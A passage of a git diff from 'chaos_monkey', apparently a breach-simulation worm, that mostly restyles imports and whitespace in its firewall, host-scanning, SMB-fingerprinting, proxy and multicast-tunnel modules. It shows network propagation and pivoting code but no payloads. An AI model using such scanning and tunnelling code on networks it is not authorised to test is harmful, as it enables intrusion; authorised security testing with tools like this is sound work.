+ if value])), stdout=subprocess.PIPE)
return cmd.stdout.read().strip().lower().endswith('ok.')
@@ -76,14 +79,14 @@ class WinAdvFirewall(FirewallApp):
return None
def listen_allowed(self, **kwargs):
- if False == self.is_enabled():
+ if not self.is_enabled():
return True
for rule in self._rules.values():
if rule.get('program') == sys.executable and \
- 'in' == rule.get('dir') and \
- 'allow' == rule.get('action') and \
- 4 == len(rule.keys()):
+ 'in' == rule.get('dir') and \
+ 'allow' == rule.get('action') and \
+ 4 == len(rule.keys()):
return True
return False
@@ -144,12 +147,11 @@ class WinFirewall(FirewallApp):
return None
def listen_allowed(self, **kwargs):
- if False == self.is_enabled():
+ if not self.is_enabled():
return True
for rule in self._rules.values():
- if rule.get('program') == sys.executable and \
- 'ENABLE' == rule.get('mode'):
+ if rule.get('program') == sys.executable and 'ENABLE' == rule.get('mode'):
return True
return False
@@ -170,4 +172,4 @@ if sys.platform == "win32":
else:
app = WinFirewall()
else:
- app = FirewallApp()
\ No newline at end of file
+ app = FirewallApp()
diff --git a/chaos_monkey/network/info.py b/chaos_monkey/network/info.py
index 5ec17cc77..7de568b48 100644
--- a/chaos_monkey/network/info.py
+++ b/chaos_monkey/network/info.py
@@ -14,6 +14,7 @@ if sys.platform == "win32":
else:
import fcntl
+
def local_ips():
result = []
try:
@@ -39,10 +40,11 @@ else:
addr = socket.inet_ntoa(namestr[i+20:i+24])
if not addr.startswith('127'):
result.append(addr)
- #name of interface is (namestr[i:i+16].split('\0', 1)[0]
+ # name of interface is (namestr[i:i+16].split('\0', 1)[0]
finally:
return result
+
def get_free_tcp_port(min_range=1000, max_range=65535):
start_range = min(1, min_range)
max_range = min(65535, max_range)
@@ -52,7 +54,7 @@ def get_free_tcp_port(min_range=1000, max_range=65535):
for i in range(min_range, max_range):
port = randint(start_range, max_range)
- if not port in in_use:
+ if port not in in_use:
return port
- return None
\ No newline at end of file
+ return None
diff --git a/chaos_monkey/network/network_scanner.py b/chaos_monkey/network/network_scanner.py
index 2b0f9cdb5..516502432 100644
--- a/chaos_monkey/network/network_scanner.py
+++ b/chaos_monkey/network/network_scanner.py
@@ -1,11 +1,9 @@
-
import time
-import socket
import logging
-from network import HostScanner
-from config import WormConfiguration
+from . import HostScanner
+from chaos_monkey.config import WormConfiguration
from info import local_ips
-from network.range import *
+from range import *
__author__ = 'itamar'
diff --git a/chaos_monkey/network/ping_scanner.py b/chaos_monkey/network/ping_scanner.py
index f4fdac8e9..8d43ac475 100644
--- a/chaos_monkey/network/ping_scanner.py
+++ b/chaos_monkey/network/ping_scanner.py
@@ -2,8 +2,8 @@ import os
import sys
import subprocess
import logging
-from network import HostScanner, HostFinger
-from model.host import VictimHost
+from . import HostScanner, HostFinger
+from chaos_monkey.model.host import VictimHost
import re
__author__ = 'itamar'
@@ -16,6 +16,7 @@ WINDOWS_TTL = 128
LOG = logging.getLogger(__name__)
+
class PingScanner(HostScanner, HostFinger):
def __init__(self):
self._config = __import__('config').WormConfiguration
@@ -27,7 +28,7 @@ class PingScanner(HostScanner, HostFinger):
timeout = self._config.ping_scan_timeout
if not "win32" == sys.platform:
- timeout = timeout / 1000
+ timeout /= 1000
return 0 == subprocess.call(["ping",
PING_COUNT_FLAG, "1",
@@ -41,15 +42,15 @@ class PingScanner(HostScanner, HostFinger):
timeout = self._config.ping_scan_timeout
if not "win32" == sys.platform:
- timeout = timeout / 1000
+ timeout /= 1000
- sub_proc = subprocess.Popen(["ping",
- PING_COUNT_FLAG,
- "1",
- PING_TIMEOUT_FLAG,
- str(timeout), host.ip_addr],
- stdout=subprocess.PIPE,
- stderr=subprocess.PIPE)
+ sub_proc = subprocess.Popen(["ping",
+ PING_COUNT_FLAG,
+ "1",
+ PING_TIMEOUT_FLAG,
+ str(timeout), host.ip_addr],
+ stdout=subprocess.PIPE,
+ stderr=subprocess.PIPE)
output = " ".join(sub_proc.communicate())
regex_result = self._ttl_regex.search(output)
diff --git a/chaos_monkey/network/range.py b/chaos_monkey/network/range.py
index 68011789f..dd6bedf1f 100644
--- a/chaos_monkey/network/range.py
+++ b/chaos_monkey/network/range.py
@@ -2,7 +2,7 @@ import socket
import random
import struct
from abc import ABCMeta, abstractmethod
-from model.host import VictimHost
+from chaos_monkey.model.host import VictimHost
__author__ = 'itamar'
@@ -35,7 +35,7 @@ class ClassCRange(NetworkRange):
def __repr__(self):
return "" % (socket.inet_ntoa(struct.pack(">L", self._base_address + 1)),
- socket.inet_ntoa(struct.pack(">L", self._base_address + 254)))
+ socket.inet_ntoa(struct.pack(">L", self._base_address + 254)))
def _get_range(self):
return range(1, 254)
@@ -66,4 +66,4 @@ class FixedRange(NetworkRange):
def _get_range(self):
return [struct.unpack(">L", socket.inet_aton(address))[0]
- for address in self._fixed_addresses]
\ No newline at end of file
+ for address in self._fixed_addresses]
diff --git a/chaos_monkey/network/smbfinger.py b/chaos_monkey/network/smbfinger.py
index 20691ae0f..f9f3d6e2b 100644
--- a/chaos_monkey/network/smbfinger.py
+++ b/chaos_monkey/network/smbfinger.py
@@ -1,23 +1,21 @@
-import re
-import sys
import socket
import struct
-import string
import logging
-from network import HostFinger
-from model.host import VictimHost
+from chaos_monkey.network import HostFinger
+from chaos_monkey.model.host import VictimHost
from odict import odict
-import select
SMB_PORT = 445
SMB_SERVICE = 'tcp-445'
LOG = logging.getLogger(__name__)
-class Packet():
+
+class Packet(object):
fields = odict([
("data", ""),
])
+
def __init__(self, **kw):
self.fields = odict(self.__class__.fields)
for k,v in kw.items():
@@ -25,9 +23,11 @@ class Packet():
self.fields[k] = v(self.fields[k])
else:
self.fields[k] = v
+
def __str__(self):
return "".join(map(str, self.fields.values()))
+
##### SMB Packets #####
class SMBHeader(Packet):
fields = odict([
@@ -45,6 +45,7 @@ class SMBHeader(Packet):
("mid", "\x00\x00"),
])
+
class SMBNego(Packet):
fields = odict([
("wordcount", "\x00"),
@@ -55,6 +56,7 @@ class SMBNego(Packet):
def calculate(self):
self.fields["bcc"] = struct.pack(">sys.stderr, '-'*40
pass
+
class HTTPServer(threading.Thread):
def __init__(self, local_ip, local_port, filename, max_downloads=1):
self._local_ip = local_ip
@@ -172,8 +173,8 @@ class HTTPServer(threading.Thread):
filename = self._filename
@staticmethod
def report_download():
- self.downloads+=1
-
+ self.downloads += 1
+
httpd = InternalHTTPServer((self._local_ip, self._local_port), TempHandler)
httpd.timeout = 0.5
@@ -186,6 +187,7 @@ class HTTPServer(threading.Thread):
self._stopped = True
self.join(timeout)
+
class HTTPConnectProxy(TransportProxyBase):
def run(self):
httpd = InternalHTTPServer((self.local_host, self.local_port), HTTPConnectProxyHandler)
diff --git a/chaos_monkey/transport/tcp.py b/chaos_monkey/transport/tcp.py
index 5ad9bb07c..0b5c94187 100644
--- a/chaos_monkey/transport/tcp.py
+++ b/chaos_monkey/transport/tcp.py
@@ -1,7 +1,5 @@
-import sys
import socket
import select
-import time
from threading import Thread
from base import TransportProxyBase
from logging import getLogger
@@ -11,9 +9,10 @@ DEFAULT_TIMEOUT = 10
LOG = getLogger(__name__)
+
class SocketsPipe(Thread):
def __init__(self, source, dest, timeout=DEFAULT_TIMEOUT):
- Thread.__init__( self )
+ Thread.__init__(self)
self.source = source
self.dest = dest
self.timeout = timeout
@@ -43,7 +42,8 @@ class SocketsPipe(Thread):
self.source.close()
self.dest.close()
-
+
+
class TcpProxy(TransportProxyBase):
def run(self):
@@ -74,4 +74,4 @@ class TcpProxy(TransportProxyBase):
l_socket.close()
for pipe in pipes:
- pipe.join()
\ No newline at end of file
+ pipe.join()
diff --git a/chaos_monkey/tunnel.py b/chaos_monkey/tunnel.py
index b6f881966..c6c444fba 100644
--- a/chaos_monkey/tunnel.py
+++ b/chaos_monkey/tunnel.py
@@ -17,16 +17,17 @@ MCAST_GROUP = '224.1.1.1'
MCAST_PORT = 5007
BUFFER_READ = 1024
DEFAULT_TIMEOUT = 10
-QUIT_TIMEOUT = 1200 #20 minutes
+QUIT_TIMEOUT = 1200 # 20 minutes
+
def _set_multicast_socket(timeout=DEFAULT_TIMEOUT):
sock = socket.socket(socket.AF_INET, socket.SOCK_DGRAM, socket.IPPROTO_UDP)
sock.settimeout(timeout)
sock.setsockopt(socket.SOL_SOCKET, socket.SO_REUSEADDR, 1)
sock.bind(('', MCAST_PORT))
- sock.setsockopt(socket.IPPROTO_IP,
- socket.IP_ADD_MEMBERSHIP,
- struct.pack("4sl", socket.inet_aton(MCAST_GROUP), socket.INADDR_ANY))
+ sock.setsockopt(socket.IPPROTO_IP,
+ socket.IP_ADD_MEMBERSHIP,
+ struct.pack("4sl", socket.inet_aton(MCAST_GROUP), socket.INADDR_ANY))
return sock
@@ -64,13 +65,14 @@ def find_tunnel(default=None, attempts=3, timeout=DEFAULT_TIMEOUT):
sock.sendto("+", (address, MCAST_PORT))
sock.close()
- return (address, port)
+ return address, port
except Exception, exc:
LOG.debug("Caught exception in tunnel lookup: %s", exc)
continue
return None
+
def quit_tunnel(address, timeout=DEFAULT_TIMEOUT):
try:
sock = _set_multicast_socket(timeout)
@@ -94,12 +96,11 @@ class MonkeyTunnel(Thread):
self.local_port = None
super(MonkeyTunnel, self).__init__()
self.daemon = True
+ self.l_ips = None
def run(self):
self._broad_sock = _set_multicast_socket(self._timeout)
-
self.l_ips = local_ips()
-
self.local_port = get_free_tcp_port()
if not self.local_port:
@@ -151,4 +152,4 @@ class MonkeyTunnel(Thread):
host.default_tunnel = '%s:%d' % (ip_match[0], self.local_port)
def stop(self):
- self._stopped = True
\ No newline at end of file
+ self._stopped = True